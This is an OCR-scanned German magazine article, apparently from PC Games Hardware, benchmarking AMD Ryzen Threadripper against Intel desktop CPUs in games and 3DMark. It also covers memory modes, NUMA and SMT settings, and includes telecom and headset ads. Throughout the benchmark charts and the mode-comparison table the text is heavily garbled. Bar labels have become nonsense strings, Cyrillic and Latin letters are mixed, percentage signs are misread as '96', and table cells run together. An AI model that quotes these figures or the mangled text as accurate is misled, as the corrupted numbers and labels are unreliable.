Intel Core i7-6950X (3,0+ GHz — 10c/20t) M652 MEME 61,3 (+26 %) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) E622: ay 64,3 (+32 %) 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16t) M503 p 67,5 (+38 %) 
Intel Core i7-6900K (3,2+ GHz — 8c/16t) IEBSB8IRSSZE€FGERSIT 71,7 (+47 %) 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) CR ЕШШ 73,1 (+50 96) 
Intel Core i7-7800X (3,5+ GHz — 6с/121) M554 74,9 (+54 %) 
Intel Core i7-5960X (3,0+ GHz — 8c/16t) ЗБ po 80,6 (4-66 %) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) sil 84,2 (+73 %) 
AMD Ryzen 5 1600 (3,2+ GHz – 6c/12t) au 90,1 (+85 96) 
Intel Core i7-7740X (4,3+ GHz – 4c/8t) asua 91,1 (+87 %) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t) maia 96,9 (+99 %) 
System: Intel Х299/Х99, 7170, AMD X399/X370, 8 GiB RAM pro Speicherkanal Sekunden 
(Geschwindigkeit jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1,38/3,9 GHz; Besser 


Windows 10 64 Bit Bemerkungen: Angaben im Balken: Bilder pro Sekunde. 


3D Mark Firestrike: Physik-Einzeltest 


Einzeldurchlauf Fire Strike Physiktest 


AMD Ryzen TR 1950X (3,4+ GHz — 16c/32t) ES En 26.002 (+7 %) 
Intel Core i9-7900X (3,3+ GHz — 10c/20t) 7649] ШЕШ 24.094 (Basis) 
AMD Ryzen TR 1920X (3,5+ GHz - 12c/24t) Bizi 23.865 (-1 %) 
Intel Core i7-6950X (3,0+ GHz — 10c/20t) 168031 En 21.430 (-11 %) 
Intel Core i7-7820X (3,6+ GHz — 8c/16t) [67160] ШШЕ 21.295 (-12 96) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) IEMS pu 19.312 (-20 96) 
Intel Core i7-6900K (3,2+ GHz – 8c/16t) 161705 19.232 (20 %) 
AMD Ryzen 7 1700X (3,4+ GHz — 8c/16t) [57,93 p 18.246 (-24 %) 
Intel Core i7-7800X (3,5+ GHz — 6c/12t) 156,05 17.655 (-27 96) 
AMD Ryzen 5 1600X (3,6+ GHz – 6c/12t) 154/33: p 17.113 (29 %) 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) 153/33] 16.798 (-30 96) 
Intel Core i7-5960X (3,0+ GHz — 8c/16t) БШ p 16.203 (-33 9) 
AMD Ryzen 5 1600 (3,2+ GHz — 6c/12t) [5033] | 15.853 (-34 96) 
Intel Core 17-6800К (3,4+ GHz — 6/121) (49/86 | 15.644 (-35 96) 
Intel Core i7-7740X (4,3+ GHz — 4c/8t) Wë | 14.733 (39 %) 


System: Intel X299/X99, 7170, AMD X399/X370, 8 GiB RAM pro Speicherkanal 
(Geschwindigkeit jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti  1,38/3,9 GHz; 
Windows 10 64 Bit Bemerkungen: Speziell der TR 1950X kann hier auftrumpfen. 


Sekunden 
< Besser 


System: Intel X299/X99, 2170, AMD X399/X370, 8 GiB RAM pro Speicherkanal 
(Geschwindigkeit jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1,38/3,9 GHz; 
Windows 10 64 Bit Bemerkungen: Die Threadripper nehmen den 7900X in die Zange. 


Punkte 
» Besser 
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DAS BESTE NETZ 


INTERNET 
& TELEFON 


099 


GIBT 5 BEI 181! 


оппес 
FESTNETZTEST 
BUNDESWEITE ANBIETER 
1&1 
Heft 8/2017 


In Deutschlands härtestem Festnetztest mit rund 1,8 Millionen Messungen von Datenraten, 
Sprachqualitát und vielem mehr überzeugt 1&1 auch 2017 wieder mit dem besten bundesweiten 
Ergebnis. „Sehr gut" als einziger Anbieter vor der Deutschen Telekom und allen anderen. 


Wechseln Sie noch heute zu 1&1 und sichern Sie sich 360,- € Wechsler-Vorteil! 


( 02602/9690 


* 1&1 Internet & Telefon ab 9,99 €/Monat, z. B. 1&1 DSL Basic für 9,99 €/Monat für 12 Monate, statt danach 24,99 €/Monat. Inklusive Telefon-Flat ins dt. Festnetz, Internet ohne 
Zeitlimit (monatlich 100 GB bis zu 16 MBit/s, danach bis 1 MBit/s) und 181 DSL-Modem für 0,- €. Oder auf Wunsch auch mit Internet-Flat und leistungsstarkem 1&1 HomeServer 
Speed für 4,99 €/Monat mehr. Hardware-Versand 9,90 €. 24 Monate Vertragslaufzeit. Wechsler-Vorteil: Volle 24 Monate Preisvorteil bei Wechsel des DSL-Anbieters und Mitnahme 1 d 1 d 
der Rufnummer, bei z.B. 1&1 DSL 16 für 14,99 €/Monat für volle 24 Monate statt 29,99 €/Monat. Preise inkl. MwSt. 1&1 Telecom GmbH, Elgendorfer StraBe 57, 56410 Montabaur u n п © 


SPECIAL | Krieg der Kerne 


Multithread-Shooter: Crysis 3 


„Fields” (720p, kein AA/AF/min. Post-Processing) 
Intel Core i9-7900X (3,3+ GHz — 10c/20; 
Intel Core i7-6950X (3,0+ GHz – 10c/20; 

Intel Core i7-7820X (3,6+ GHz — 8c/16 


In 


In 
In 
| 


el Core i7-6900K (3,2+ GHz – 8c/16 


Intel Core i7-7800X (3,5+ GHz — 6с/12 
Intel Core i7-5960X 


( 
( 
(3,0+ GHz — 8c/16 
el Core i7-5930K (3,5+ GHz — 6с/12 
el Core i7-6800K (3,4+ GHz — 6с/12 
ntel Core i7-7740X (4,3+ GHz – 4c/8 


AMD Ryzen 7 1800X (3,6+ GHz - 8с/16 


In 


AMD 


el Core i7-5820K (3,3+ GHz — 6с/12 


AMD Ryzen 7 1700X (3,4+ GHz – 8с/16 


ntel Core i7-7700K (4,2+ GHz – 4с/8 


AMD Ryzen TR 1920X (3,5+ GHz - 12024 
AMD Ryzen 5 1600X (3,6+ GHz - 6c/12 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16 


ntel Core i7-6700K (4,0+ GHz – 4c/8 


Intel Core i7-4960X (3,6+ GHz — 6c/12 
AMD Ryzen 5 1600 (3,2+ GHz — 6c/12 
Intel Core i7-3960X (3,3+ GHz — 6с/12 


ntel Core i7-5775C (3,3+ GHz — 46/8 
ntel Core i7-4790K (4,0+ GHz – 4с/8 
ntel Core i7-4770K (3,5+ GHz – 4с/8 
ntel Core i7-990X (3,5+ GHz — 67/12 


Intel Xeon E3-1230 v5 (3,4+ GHz – 46/8 


> 


MD Ryzen 5 1500X (3,5+ GHz – 46/8 


ntel Core i7-4820K (3,7+ GHz – 4с/8 
ntel Core i7-3770K (3,5+ GHz – 4с/8 
ntel Core i5-7600K (3,8+ GHz — 4c/4t 
AMD FX-9590 (4,7+ GHz – 4m/8 
ntel Core i5-5675C (3,1+ GHz – 4с/4: 
Intel Core i5-7500 (3,4+ GHz – 4с/4: 


AMD Ryzen 5 1400 (3,2+ GHz – 4с/8 


ntel Core i7-2600K (3,4+ GHz – 4с/8 
ntel Core i5-4690K (3,5+ GHz — 4c/4t 
ntel Core i5-6600K (3,5+ GHz – 4c/8 
ntel Core i5-4670K (3,44- GHz — 4c/4t 
AMD FX-8370 (4,04- GHz — 4m/8 
AMD FX-8350 (4,04- GHz — 4m/8 
Intel Core i5-7400 (3,0+ GHz – 4с/4: 
Intel Core i5-6500 (3,2+ GHz – 4с/4: 
ntel Core i5-3570K (3,44- GHz — 4c/4t 
Intel Core i3-7350K (4,2 GHz – 20/4 
AMD FX-8300 (3,3+ GHz — 4m/8 
AMD FX-8320E (3,2+ GHz - 4т/8 


AMD Ryzen 3 1300X (3,4+ GHz — 4/4: 


AMD FX-6350 (3,9+ GHz — 3m/6 
ntel Core i5-2500K (3,34- GHz — 4c/4t 
Intel Core 13-6100 (3,7 GHz — 2с/4: 
Intel Core 17-920 (2,7+ GHz – 4c/8 


AMD Phen. Il X6 1100T (3,3+ GHz - 6с/6 


Intel Pentium G4560 (3,5 GHz — 2c/4! 
AMD FX-6300 (3,5+ GHz — 3m/6 


AMD Ryzen 3 1200 (3,1+ GHz - Ac/4! 
AMD Athlon ХА 845 (3,5+ GHz — 2m/4! 


AMD A10-7870K (3,9+ GHz — 2m/4 
AMD A10-6800K (4,1+ GHz – 2m/4 
AMD FX-4300 (3,8+ GHz — 2m/4t 
AMD A10-7800 (3,5+ GHz – 2m/4 
Intel Pentium G4400 (3,3 GHz - 202 
AMD A8-7600 (3,1+ GHz – 2m/4 


) —— xŠ s(əssə|aAasÀsa3asaÜ;—yjÑə pÀÑii  |islgsli i Ólililisóaáiy z  yli$i iat 
) T w——w sss 193,2 (Basis) 


) И 1795 (7 %) 
) Twas 176,9 (-8 %) 
) eque ШИ 165,2 (-14 %) 

) Twi 164,4 (-15 %) 

у НЗС 154,2 (-20 %) 

) mw—€C<€lil 154,1 (-20 %) 

) T 1525 (21 %) 

) manu 149,5 (23 %) 

) ER" Sw 149,0 (23 %) 


Ryzen TR 1950X (3,4+ GHz – 166/321). EE 145,8 (-25 %) 


) Ez 145,6 (-25 90) 
) T—— fil 144,3 (-25 %) 
Gs 144.1 (-25 90) 
) Eau Sw 142,0 (-27 %) 
) ИИНЕНИН 137,2 (-29 %) 

) Eng Sw 136,7 (-29 96) 

) Twi 136,7 (-29 96) 

) EE II 133,1 (-31 96) 

) Ese 131,0 (32 96) 

) il 128,5 (-33 96) 

) Tl 125,5 (33 %) 

) lli 119,3 (-38 %) 

) 119,2 (-38 %) 

) EC 117,5 (-39 %) 

) Egon Es 104,3 (-46 96) 

) EN I 102,1 (-47 96) 

) Eger Et 101,6 (-47 96) 

) Egg 101,5 (-47 %) 

) Egg ШШ 95,7 (-50 96) 
) www 94,6 (-51 %) 
) ШИНИ И 94,3 (-51 %) 
) ИШИННЕН 93.4 (-52 %) 
) Eg 92,3 (-52 %) 
) Eau 90,1 (-53 96) 
) mmm 89,2 (-54 %) 
) Een 88,6 (-54 90) 
) Ea El 88,3 (-54 96) 
) Ea 88,0 (-54 96) 
) Fe 87,3 (-55 96) 
) Eau 82,9 (-57 %) 
) eei 80,3 (-58 96) 

) Ee 77,8 (-60 96) 

) meat 73,7 (-62 %) 

) peat 72,1 (-63 %) 

) Een 71,5 (-63 96) 

) Ee 71,4 (-63 96) 

) psg 70,7 (-63 9) 

) БОИ 69,5 (-64 %) 

) БЕБИ 69,3 (-64 %) 

) Ese 67,2 (-65 96) 

) Esq 65,5 (-66 96) 

) ШЕИ 64,7 (-67 96) 

) ШЕННЕ 63,3 (-67 96) 

) EN 48,4 (-75 %) 

) BEE 48,2 (-75 %) 

) WaWWB8IHL47,3 (-76 %) 

) ВИ 46,6 (-76 96) 

) EI 44,3 (-77 %) 

) ИЗИШ 43,8 (-77 96) 

) ES 43,0 (-78 %) 


System: Intel Х99/2170/797/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Win 10 64 Bit 
Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mir" @ Fps 


» Besser 
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also 8 Speicherriegeln, sinkt die 
erlaubte Geschwindigkeit deutlich: 
DDR4-2133 respektive -1866 wer- 
den dann noch offiziell unterstützt. 
Dass Threadripper wie auch Ryzen 
sowohl wesentlich schnelleren 
RAM verträgt als auch davon teils 
deutlich profitieren kann, steht auf 
einem anderen Blatt. Die Standard- 
CPU-Test bei PCGH halten sich wie 
auch bei den Intel-Modellen strikt 


an die Werksangaben. 


Natürlich haben wir aber zusätzlich 
auch ausprobiert, ob Threadripper 
dieselben Vorlieben hinsichtlich 
der Speicherbestückung aufweist, 
wie sein architektureller Ahne - das 
Ergebnis in Kürze: Ja. DDR4-2400 
mit Dual-Rank-Aufbau schlägt in 
Spielen DDR4-2667 Single Rank, 
hoher Takt bringt darüber hinaus 
deutlich Mehrleistung. Mehr dazu 
später im Text. 


Kein Alltagsgegenstand 

Die Zwischenüberschrift klingt 
ziemlich negativ, ist aber keinesfalls 
so gemeint. AMD wendet sich mit 
den Threadripper-Modellen nicht 
an den sogannten Casual-Nutzer, 
sondern an Enthusiasten. Die deut- 
lich höheren Kosten für Prozessor, 
Plattform und Speicher haben wir 
bereits angeschnitten, aber da ist 
noch mehr. 


Die bislang ungekannte Kernflut 
stellt sogar AMD selbst vor die He- 
rausforderung, 
Nutzen für die vielen Rechenwer- 


einen sinnvollen 
ke zu finden. Im Begleitschreiben 
empfiehlt der Hersteller daher, 
nicht nur Spiele und Anwendungen 
einzeln zu testen. Nicht einmal das 
schon für die achtkernigen Ryzen- 
Prozessoren auserkorene Szenario 
von gleichzeitigem Spielen und 
Video-Encoding reiche hier aus - 


nein, neben einem möglichst mehr- 
kernoptimierten Spiel und dem 
Live-Streaming samt CPU-Encoding 
etwa auf Twitch.tv könne man mit 
Threadripper auch noch alte Videos 
parallel für den Upload auf Youtube 
kodieren - sogenanntes Megatas- 
king, welches bereits zu Zeiten der 
ersten Quadcore-Prozessoren als 
sinnstiftendes Element herange- 
zogen wurde. Wir werden uns mit 
diesem Aspekt beizeiten in einem 
gesonderten Artikel beschäftigen. 


Doch es gibt auch ganz praktischen 
Nutzen für mehr als acht CPU- 
Kerne. Etwa, wenn Sie regelmäßig 
größere Programmierprojekte kom- 
pilieren, aus Spaß oder finanziellen 
Gründen oft mit 3D-Rendering- 
Programmen wie Cinema 4D oder 
Blender arbeiten oder häufig und 
viele Videos, möglicherweise gar in 
hoher Auflösung, bearbeiten oder 
Umwandeln, kommen die bis zu 16 
Threadripper-Kerne wie gerufen. 
„Creative Professionals“ lautet das 
Modewort für diese Zielgruppe - 
und natürlich möchte AMD auch 
Kunden ansprechen, die ein Spiel- 
chen wagen wollen, während sie 
auf das Ergebnis des Kompilats, des 
Rendervorganges oder des Video- 
transcodings warten. 


Verschiedene Betriebsmodi 
Wie bereits angerissen, ist sich AMD 
dieser Problematik, vor der Intel im 
Übrigen genauso steht, durchaus 
bewusst. Wohl nicht nur deshalb 
gibt es auch eine Neuauflage des 
Ryzen Master Tools, in dem für 
Threadripper verschiedene Pro- 
file vorkonfiguriert wurden und 
sich zudem zwei eigene Settings 
abspeichern lassen. Die von Ryzen 
bekannten Übertaktungsoptionen 
gibt es natürlich weiterhin. Die neu 


hinzugekommenen Stellschrauben 


TOP 5% 


Become AMD 


eadripper ™ 


Für die Enthusiasten nur das Beste: Laut AMD schaffen es nur die Top 596 der produ- 


zierten Chips in die Threadripper-Modelle. 


www.pcgameshardware.de 
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Ryzen Threadripper: Verschiedene Modi im Vergleich 


Ryzen TR 1920X (12c/24t) | Anno AC: Crysis З | Dragon Age: | F1 2015 | Far Cry 4 | Starcraft 2 | Witcher3 | Cinebench 3DMark 7-Zip | y-Cruncher 
DDR4-... 2205 | Syndicate Inquisition LotV R15 FS Phys. 

.... 2667 Single-Rank 26/2655 | 102/1102 | 117/140,6 89/106,8 | 87/1092 | 48/572 19/30,5 99/103,6 2.459 23.865 38 80,7 

-.. 2400 Dual-Rank 25/26,7 01/1096 | 129/144,1 901080 | 89/112,1 | 47/572 18/29,8 01/108,1 2.459 23.431 32 80,7 
... 2400 DR, МОМА 27/28,1 | 98/105,9 21/139,1 96/116,0 83/97,0 | 58/69,7 22/31,8 07/112,1 2.443 23.291 67 k. Messung 
... 2400 DR + Gaming-Mode | 30/31,5 01/1107 | 122/140,0 92/115, 73191,1 | 68/86,1 23/38,1 04/110,9 1.28 keine Messung | 215 k. Messung 
... 2400 DR SMT aus, МОМА | 26/27,8 09/118,8 | 121/1444 93/1134 85/107,7 | 69/81,9 23/38,5 04/112,3 1.763 keine Messung | 208 k. Messung 
... 2400 DR SMT aus 26/27,0 14/121,8 18/141,0 88/107,4 98/115,1 | 58/70,7 19/29,4 01/105,7 1.754 keine Messung 69 k. Messung 
... 3200 SR (00) 28/28,8 12/120,4 | 130/152,7 96/116,2 98/119,6 | 58/65,5 20/33,9 13/117,8 2.445 23.568 75 195 

... 3200 SR (ОС), МОМА 29/30,6 08/117,7 | 129/146,9 99/120,4 82/97,8 | 61/79,6 20/40,1 15/1204 2.43 23.323 77 86,5 
Zum Vergleich: 

Ryzen 7 1800X (8c/16t) 31/31,6 04/1101 31/149,5 93/1144 76927 | 65/77,3 17/32,7 05/109,9 1.639 19.312 82 108,7 
Alle Messungen mit 4x DDR4-RAM, Stromsparmodi/C-States an. Angaben in Min./O-Fps bei Spielen, Punkten іп Cinebench/3DMark, in Sekunden (mehr ist schlechter!) in 7-Zip/Lightroom/Blender/x264/y-Cruncher. 


sind die Speicheraufteilung und 
ein ,Gaming-Modus*. SMT lässt sich 
überdies auch abschalten (hierauf 
kommen wir noch zu sprechen). 
Im voreingestellten Standard, dem 
Creator-Modus, sind natürlich sämt- 
liche Kerne samt SMT aktiv und der 
Vierkanal-RAM wird als eine Einheit 
angesteuert. Der Gaming-Modus ak- 
tiviert den NUMA-Speicherzugriff 
(siehe unten) und schaltet gleichzei- 
tig jeweils die Hälfte der Kerne ab - 
aus dem TR 1920X wird in der Theo- 
rie ein etwas flotterer R5-1600X, auf 
dem TR 1950X ein minimal schnel- 
lerer R7-1800X. 


Spiele-Startschwierigkeiten 
Doch warum deaktiviert AMD hier 
überhaupt Kerne? Der Grund liegt 
darin begründet, dass manche Spie- 
le Probleme mit mehr als 20 Threads 


haben, wie AMD im Begleitmaterial 
zum Threadripper einräumt. Um es 
vorweg klar zu sagen: Hier sind die 
Spieleprogrammierer in der Pflicht, 
denn dasselbe Schicksal blüht auch 
entsprechenden Intel-Modellen 
- möglicherweise wurde deshalb 
einstweilen nur der zehnkernige i9- 
7900X veróffentlicht. 


Unter den Problem-Spielen sind 
dabei nicht nur olle Kamellen, son- 
dern auch modernere Spiele, etwa 
Dirt Rally, Far Cry Primal oder F1 
2016. Der TR 1920X war in unserem 
Testfeld noch unauffällig, der TR 
1950X hatte jedoch Probleme mit 
Far Cry 4 und F1 2015 - beide Titel 
starten jedoch sowohl im Gaming- 
Modus als auch mit 31 aktiven lo- 
gischen CPU-Kernen, die man sich 
via numproc-Startparameter (unter 


Die ersten Luftkühler sind für TRA bereit. Die kleinere Kontaktfläche der Asetek- 
Wasserkühlung (siehe WLP-Abdruck) ist laut AMD unproblematisch. 


Durchsatz: Recheneinheiten pro Kern Durchsatz: Recheneinheiten der gesamten CPU 

,FLOPS" — Double-Precision-Rechenleistung bei verschiedenen Befehlstypen ,FLOPS" — Double-Precision-Rechenleistung bei verschiedenen Befehlstypen 
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Befehl Befehl 

System: 8 GiB RAM pro Speicherkanal (Geschw. jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ System: 8 GiB RAM pro Speicherkanal (Geschw. jeweils laut max. CPU-Spez.), GF GTX 980 Ti @ 1.380/3.900 

1.380/3.900 MHz; Windows 10 64 Bit Bemerkungen: Pro Kern liegt der TR 1950X wie zu erwarten nur minimal MHz; Win 10 64 Bit Bemerkungen: Speziell beim Einsatz von AVX128 sowie getrennter MUL/ADD-Instruktionen 

über dem mit denselben CCX ausgestatteten Ryzen 7 1800X, aber teilweise hinter der Konkurrenz von Intel. bei AVX256 kann sich Threadripper in Form des TR 1950X gut in Szene setzen. AVX512-Instruktionen fehlen ihm. 
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F1 2015 — Partikelschlacht für Mehrkerner 


„Stormy Spain" (720p, kein AA/AF/min. Post-Processing) 
Intel Core i9-7900X (3,3+ GHz — 10c/20t) ua 136,1 (+4 %) 
Intel Core i7-6950X (3,0+ GHz — 10c/20t) EX a 130,4 (Basis) 
Intel Core i7-6900K (3,2+ GHz – 8c/16t) Ege ps 123,6 (-5 96) 
Intel Core i7-5960X (3,0-- GHz - 8c/16t) gg 115,4 (12 %) 
AMD Ryzen TR 1950X (3,4+ GHz - 16с/321) ШОО I 113,4 (-13 %) 
AMD Ryzen TR 1920X (3,5+ GHz - 120241) ES) ИЕШЕ 112, 1 (-14 96) 
Intel Core i7-6800K (3,4+ GHz – 6120 68% ШЕШШ 104,3 (-20 96) 
Intel Core i7-5820K (3,3+ GHz – 6c/12t) gs 102,3 (-22 %) 
Intel Core i7-4960X (3,6+ GHz – 6120 jugi 101,8 (22 96) 
Intel Core i7-7740X (4,3+ GHz – 4с/81) |n ps 98,0 (-25 %) 
Intel Core i7-5775C (3,3+ GHz – 4с/81) Egan pu 94,5 (-28 96) 
AMD Ryzen 7 1800X (3,6+ GHz – 8c/16t) rel s 92,7 (-29 %) 
Intel Core i7-7700K (4,2+ GHz – 4с/81) Egan l li 88,6 (-32 96) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) |i 88,6 (-32 %) 
AMD Ryzen 7 1700 (3,0+ GHz – 8c/16t) Egan s 88,6 (-32 96) 
Intel Core i7-4790K (4,0+ GHz – 4c/8t) MEMS 71,2 (45 %) 
Intel Core i7-3770K (3,5+ GHz – 4c/8t) Essa p 68,6 (-47 96) 
Intel Core i5-7600K (3,8+ GHz – Ac/4t) Xs; 68,1 (-48 96) 
Intel Core i7-990X (3,5+ GHz — 6c/12t) Esau 64,4 (-51 %) 
AMD FX-9590 (4,7+ GHz — Am/8t) Eug 61,3 (-53 96) 
Intel Core i5-7400 (3,0+ GHz — 4с/41) agi 60,9 (-53 96) 
Intel Core i7-2600K (3,4+ GHz — 4с/81) EX 54,6 (-58 96) 
Intel Core i5-4690K (3,5+ GHz — 4c/4t) Egi 54,1 (-59 96) 
AMD FX-8300 (3,3+ GHz — Am/8t) Xam ШЕШ 54,0 (-59 96) 
Intel Core i5-3570K (3,4+ GHz — 4c/4t) ME 51,6 (-60 96) 
Intel Core i5-2500K (3,3+ GHz - 4с/41) ВЕ 291888 41,6 (-68 96) 


System: Intel X299/X99, 7170/797/277, AMD X399/X370/990FX/790GX,8 GiB RAM pro 
Speicherkanal (Geschwindigkeit jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti 
1,38/3,9 GHz; Windows 10 64 Bit Bemerkungen: Alle Spiele-Tests in 1.280 x 720. 


Mimil 2 Fps 


» Besser 


Windows 10 ,Startkonfiguration* 
- „Start“ - „Erweiterte Optionen“ - 
„Prozessoranzahl“) auch selbst her- 
beikonfigurieren kann. Im Falle von 
F1 2015 genügt auch ein entspre- 
chender Eintrag bei den ,cores* in 
der Datei hardware settgings con- 
fig.xml (Dokumente - My Games - 
F1 2015 - Hardwaresettings). 


Derart sensibilisiert haben wir na- 
türlich neben dem Gaming-Modus 
auch das naheliegende Abschalten 
von SMT ausprobiert - denn 16 ech- 
te Kerne sind immer noch besser als 
acht echte und acht virtuelle - und 
ein Neustart zur Umkonfiguration 
wird sowieso fällig. 


Über alle acht Spiele unseres Par- 
cours stieg die Leistung im Ver- 
gleich zum Gaming-Modus damit 
um 1,2 Indexpunkte, den größten 
Zugewinn verbuchten wir in Fl 
2015 (+18 %), aber auch Assassin's 
Creed: Syndicate legte zu (+7 %). 
Da NUMA durch verstärkt nöti- 
gen Datenaustausch zwischen den 
Speicherbereichen auch Nachteile 
haben kann, liefen einige Spiele im 
Bereich von 3 bis 5 % auch etwas 
langsamer. 


UMA und NUMA 

Wie nun mehrfach angedeutet, dür- 
fen Sie den RAM wahlweise auch als 
„NUMA“ nutzen. Doch was ist das 
überhaupt? Die Optionen stehen 
dabei für Uniform Memory Access 
und - sie werden es sich denken 
können - Non-Uniform Memory 
Access. Letzterer Modus teilt den 
Speicher in zwei Bereiche auf, die 
jeweils einem der beiden (aktiven) 
CPU-Dies zugeordnet sind. Die 
Theorie dahinter: Zugriffe auf den 
direkt angebundenen Speicher kön- 
nen sich den Umweg über das zwei- 
te Die sparen und so eine niedrige- 
re Latenz erzielen. Normalerweise, 
also im Serverbereich, müssen Pro- 
grammierer auf diesen Umstand 
Rücksicht nehmen und ihren Code 
anpassen wenn sie die Leistungs- 
steigerung abgreifen wollen. Aber 
auch ohne spezielle Optimierungen 
können manche Programme, darun- 
ter vornehmlich Spiele, von NUMA 
profitieren. Denn mit aktiver Spei- 
cheraufteilung, welche sich außer 
mit dem Ryzen Master Tool auch 
über das UEFI aktivieren lässt, ver- 
sucht man, die Threads möglichst 
auf einer Kerngruppe zu halten. 
Klappt das jedoch nicht, sind auf- 


The Witcher 3 


Assassin's Creed Syndicate 


„Hierarch Square" (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 


Intel Core i7-7740X (4,3+ GHz - 4c/8t) Ease 140,2 (+4 %) 
Intel Core i7-6900K (3,2+ GHz – 8c/16t) |a; 134,7 (+0 96) 
Intel Core i7-6950X (3,0+ GHz – 10c/20t) Eug! H 134,6 (Basis) 
Intel Core i9-7900X (3,3+ GHz — 10c/20t) 8! 133,1 (-1 90) 
Intel Core i7-5775C (3,3+ GHz - 4c/8t) 68285: 131,1 (3 %) 
Intel Core i7-7700K (4,24- GHz – 4с/81) |a 125,5 (-7 %) 
Intel Core i7-5960X (3,0+ GHz – 8c/16t) |t 123,5 (-8 96) 
Intel Core i7-6800K (3,4+ GHz — 60/121) 118,3 (-12 96) 
Intel Core i7-5820K (3,3+ GHz — 60/121) N 115,0 (-15 %) 
Intel Core i7-4960X (3,6+ GHz — 60/121) N 113,5 (-16 96) 
AMD Ryzen TR 1950X (3,4+ GHz — 16/321) aaa II 112,2 (-17 96) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) 109,9 (-18 96) 
AMD Ryzen TR 1920X (3,5+ GHz - 12c/24t) aa 108, 1 (-20 96) 
ntel Core i7-4790K (4,0+ GHz - 480 БЕШӨӨН 104,6 (-22 96) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) grt 104,0 (-23 96) 
AMD Ryzen 7 1700 (3,0+ GHz — 8с/161) Egg 101,6 (-25 96) 
ntel Core i7-3770K (3,5+ GHz – 4c/8t) EEE 95,1 (-29 96) 
Intel Core i5-7600K (3,8+ GHz – 4c/4t) EX 94,5 (-30 %) 
ntel Core i7-2600K (3,4+ GHz – 4c/8t) XXn 84,3 (-37 96) 
Intel Core i5-7400 (3,0+ GHz — 4c/4t) Egon? 84,2 (-37 96) 
Intel Core i7-990X (3,5+ GHz — 6c/12t) mn Е 82,1 (-39 96) 
AMD FX-9590 (4,7+ GHz — Am/8t) elt 81,0 (-40 96) 
ntel Core i5-4690K (3,5+ GHz – 4c/4t) Esth 79,9 (-41 96) 
Intel Core i5-3570K (3,4+ GHz — 4с/41) Emi 75,7 (-44 96) 
AMD FX-8300 (3,3+ GHz – 4m/8t) eam 70,5 (-48 %) 
ntel Core i5-2500K (3,3+ GHz - 4c/4t) gtt 63,2 (-53 96) 


„Bishopsgate” (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-6950X (3,0+ GHz - 10c/20t) aF 136,9 (Basis) 
Intel Core i7-6900K (3,24- GHz – 8c/16t) 25188 135,9 (-1 90) 
Intel Core i7-7740X (4,3+ GHz - 4c/8t) Eas; 132,2 (-3 90) 
Intel Core i7-7700K (4,24- GHz – 4с/81) Ems 131,2 (4 %) 
Intel Core i7-6800K (3,44- GHz - 6120 a Ex 130,0 (-5 90) 
Intel Core i9-7900X (3,3+ GHz - 10c/20t) qa 129,8 (-5 96) 
Intel Core i7-5775C (3,3+ GHz - 48) anie 127,3 (77 96) 
Intel Core i7-5960X (3,0+ GHz – 8c/16t) nta 127,1 (77 96) 
Intel Core i7-5820K (3,3+ GHz — 60/121) a 122,0 (-11 96) 
Intel Core i7-4960X (3,6+ GHz — 6.12) Eam 119,7 (-13 %) 
AMD Ryzen TR 1950X (3,4+ GHz - 16322 a 112,7 (-18 94) 
AMD Ryzen 7 1800Х (3,6+ GHz — 8с/161) Eom 110,1 (-20 %) 
Intel Core i7-4790K (4,0+ GHz – 4с/81) oat 110,0 (-20 96) 
AMD Ryzen TR 1920X (3,5+ GHz – 120240) aa 109,6 (-20 96) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) gg 106,8 (-22 96) 
AMD Ryzen 7 1700 (3,0+ GHz — 8с/161) Egg 104,8 (-23 96) 
ntel Core i7-3770K (3,5+ GHz – 4c/8t) gai 100,2 (-27 96) 
ntel Core i5-7600K (3,8+ GHz – 4c/4t) gait 99,7 (-27 96) 
Intel Core i7-990X (3,5+ GHz — 6.12) Egg 94,5 (-31 96) 
Intel Core i5-7400 (3,0+ GHz — 4c/4t) Ez Ex 91,1 (-33 %) 
ntel Core i5-4690K (3,5+ GHz — 4с/41) Eau 85,0 (-38 96) 
ntel Core i7-2600K (3,4+ GHz — 4c/8t) Xm 84,9 (-38 96) 
ntel Core i5-3570K (3,4+ GHz – 4c/4t) Eu 82,1 (-40 %) 
AMD FX-9590 (4,7+ GHz – Am/8t) Eaux 81,2 (-41 96) 
AMD FX-8300 (3,3+ GHz – 4m/8t) eam 70,9 (-48 90) 
ntel Core i5-2500K (3,3+ GHz - 4с/41) |i 70,2 (-49 96) 


System: Intel X299/X99, 2170/297/277, AMD X399/X370/990FX/790GX,8 GiB RAM pro 
Speicherkanal (Geschwindigkeit jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 
1,38/3,9 GHz; Windows 10 64 Bit Bemerkungen: Alle Spiele-Tests in 1.280 x 720. 


Mimil @ Fps 


> Besser 


System: Intel X299/X99, 7170/797/277, AMD X399/X370/990FX/790GX,8 GiB RAM pro 
Speicherkanal (Geschwindigkeit jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 
1,38/3,9 GHz; Windows 10 64 Bit Bemerkungen: Alle Spiele-Tests in 1.280 x 720. 


Mimil @ Fps 


» Besser 
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VOID PRO RGB USB 
> Mikrofasergewebe und Memory-Schaumstoff 
bieten außergewöhnlichen Komfort. 


> Speziell abgestimmte 50-mm-Neodym- 
Lautsprechertreiber mit breitem Klangumfang 
und hoher Präzision. 


